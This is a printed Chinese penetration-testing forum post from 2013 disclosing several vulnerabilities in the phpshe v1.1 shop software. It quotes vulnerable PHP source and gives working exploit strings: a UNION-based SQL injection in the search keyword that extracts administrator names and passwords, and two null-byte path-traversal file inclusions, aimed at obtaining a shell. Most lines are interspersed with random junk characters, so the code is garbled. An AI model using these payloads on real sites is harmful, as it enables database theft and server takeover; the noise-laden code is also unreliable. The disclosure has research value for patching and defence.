中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
; J( u5 [- \; A. c6 x% N9 p/* Phpshe v1.1 Vulnerability- T. s4 }4 @! B1 C$ R+ C8 c* F
/* ========================
: `7 ?* o2 D) ?9 N/* By: : Kn1f3, m4 v* J3 z( B' i5 n
/* E-Mail : 681796@qq.com
3 N2 \' H7 |" F6 s/*******************************************************/, F" |$ k5 b( I/ H- w4 X3 @
0×00 整体大概参数传输
' V, @; }1 e7 ?
" k" X% F* o1 M: _
0 c4 N$ j2 M. S  f& h. e  J$ |# x# ~: Y, v; d: p/ `* A! B+ f
//common.php
. M/ X9 B% ~! ^$ ?& S2 Fif (get_magic_quotes_gpc()) {
. B) r0 }6 v2 t6 c# B; G& I9 n!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');. X2 m4 B3 M1 I1 Y1 q
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
( m$ B2 d& K! S$ i- E9 D* `- `}: @4 d6 V1 d& Q0 p
else {
0 k! x4 @) n+ \4 w, ^!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% W; s9 ]; |8 @!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, ?: ?. c9 t4 F) O4 R: V7 \+ ]}
* K& u# R6 K( w1 tsession_start();% d5 ]* T: g- Q* |3 Z: M6 z
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');( O7 q* J; J) o) |& I' ^, U
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');0 M$ m; b7 [$ k: [$ T# O  e' T

. H8 G9 B8 N! y+ h' {% n5 o/ g0×01 包含漏洞& p5 ~( S  j% z* N/ x% W

1 j* O1 A7 R- ^# o/ `9 y
) L: [) |8 U$ b$ i0 q  F+ _//首页文件# V7 F" m* C( R
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);, U$ r0 ]. j- \( \
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞  F( w3 ~: Q% T) b" p# G- ~
pe_result();+ P" s8 u% Z7 \, A% ^
?>; n" q8 C" g. m+ n# \+ q
//common 文件 第15行开始, j2 H* ]1 F- i7 g
url路由配置
& h. \" O! w8 f1 U$module = $mod = $act = 'index';
) l3 L# N7 Y6 @3 R  A$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);$ `+ e" ~* @8 X% h
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);3 m0 G6 U8 m' h1 x' S) S
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);7 s9 @7 _2 l/ f, V5 j
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& d8 i2 D- m9 v; }( |; B

" }" ~7 U6 v0 O" L* k' q
) j4 f9 t& d# [/ y; R. Q
0×02 搜索注入
. y) [1 ?5 J& j; I
2 ?; b2 g6 Y  |7 ?/ B<code id="code2">

//product.php文件: W! W% i& M/ k* `
case 'list':# r1 e% D0 U$ n+ }$ ]
$category_id = intval($id);, k7 p8 ]0 r! D1 G! ~9 a% \
$info = $db->pe_select('category', array('category_id'=>$category_id));& g4 ~' x3 s3 a- V5 H: P1 Y2 e
//搜索
$ L& D' p) O9 w: o4 ~1 z0 u$sqlwhere = " and `product_state` = 1";
9 z; ^- v5 n: @& ?0 k4 Q0 D" Ipe_lead('hook/category.hook.php');5 o" e0 d; f6 O; S. c
if ($category_id) {8 |# z6 ^2 C3 R' o
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 Z. S" J1 f  j- _" h$ Z3 A) H
}
6 k' L; l) x& }( ?# f$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ ~4 o6 O; G0 q  \5 Mif ($_g_orderby) {
. e( e9 f% Q" |: u/ ]: p/ N$orderby = explode('_', $_g_orderby);
5 X, L; W3 _$ O/ R$ @( L" j, ^$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
# i; S' U0 ?4 M  d1 q) d3 v}
3 D) Y& i% O* p/ Telse {
  a5 S9 @- ~" f( l- L/ N6 U$sqlwhere .= " order by `product_id` desc";
2 G( F7 ^& G- i& X- c0 f  Y2 [4 t}9 z# r; h$ F- T5 x: I% H* b4 L
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));4 [- ^) t  x6 n, |. s; I% r
//热卖排行% }, P  Y9 F3 {4 [0 A; ?& S+ u
$product_hotlist = product_hotlist();
" J1 ^  S9 H) E$ `, u! Z# I2 A% K1 j//当前路径
2 P* k: k" e0 b% b! @$nowpath = category_path($category_id);. S9 D$ y4 w% g* [; a5 E
$seo = pe_seo($info['category_name']);* U; Y. E- }5 }1 F9 |0 Y- ?
include(pe_tpl('product_list.html'));2 e' E2 u) e8 W9 P$ f- O
//跟进selectall函数库
  X6 T9 R" d2 D( k2 kpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
" g5 O' E. o/ C1 o8 M{
. t3 W# J7 t0 \/ L8 G6 R//处理条件语句5 v$ S1 i0 V5 C% U& o
$sqlwhere = $this->_dowhere($where);# ^' H% w2 T  k/ M8 c( I/ r
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& |4 z8 \2 }9 J! ^) _" c2 V}* W" x: Y  W0 g$ T
//exp
  K% i; A7 J( o, q' Y$ l( Dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1: A$ v' g, ^9 \, V

</code>
+ p0 _3 }" C  h# R3 E% t1 ^7 [
( F- K1 ?+ }7 K2 m4 m7 s0×03 包含漏洞2
& o# A! V2 A0 O- C* _7 K ; ^' x, I1 u3 ~1 `, n# j7 e% r
<code id="code3">

//order.php

case 'pay':

( y1 ~# s9 ~6 a# }; i/ D
$order_id = pe_dbhold($_g_id);

+ g5 I. q& C+ |7 D
$cache_payway = cache::get('payway');

; i  s: D$ j0 _8 t/ X1 M8 r" b, X
foreach($cache_payway as $k => $v) {

6 \" v6 ^( F" _( P3 v
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

. ], J, J% l3 T  U6 n* ?
if ($k == 'bank') {

& \3 a0 j) T# X7 s: m
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


6 j* p) `; t8 Q4 k: e}

  x5 i3 `6 u: T# u& o" e! _
}


  b0 b. ~+ J3 Z. i; X& Q$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


7 x2 g; F2 U" ]& R: T( z7 S!$order['order_id'] && pe_error('订单号错误...');


+ @# p, H# I8 _. J3 }7 iif (isset($_p_pesubmit)) {

. @6 ^6 y- q7 Q: I* P4 \; N. M
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


; \8 i' P8 t, w4 e& ^/ c* }0 H$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


. d; Z) y3 r; u: O) {# c6 P7 I3 q  hforeach ($info_list as $v) {


+ i2 @: M# _' I$order['order_name'] .= "{$v['product_name']};";
- Y6 I& B# a* @0 \6 _' {6 h- V$ R* A


- F, z) |5 k) D) B- V$ f) R" n}

+ {& M- c% k$ {- ~
echo '正在为您连接支付网站，请稍后...';

2 U0 K* A2 f( @& s( I) p
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 g$ p4 e7 Y* `, d5 v+ I* g4 X
}//当一切准备好的时候就可以进行"鸡肋包含了"

+ c0 ~( @3 ^- c
else {

. r: K8 N/ C* Z  `
pe_error('支付错误...');

  O$ w! m. u* Y9 f" }( K+ A& V
}


# O3 d7 y( f# s$ T- w0 ~% C7 e6 D}


, @% i9 j( _! g3 R2 q$seo = pe_seo('选择支付方式');

6 K" G2 h' N% s9 q& x: p: q' e) `
include(pe_tpl('order_pay.html'));

4 Z' ^/ f/ ?8 ~8 m! Q
break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
* \! J2 S/ x* E' r, ^$ C2 v



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2